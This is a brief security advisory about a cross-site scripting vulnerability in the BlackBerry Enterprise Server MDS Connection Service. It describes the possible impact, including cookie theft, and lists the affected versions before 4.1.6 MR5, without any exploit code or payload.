BlackBerry Enterprise Server MDS Connection Service is prone to a cross-site scripting vulnerability because it fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

Versions prior to BlackBerry Enterprise Server 4.1.6 MR5 are vulnerable.
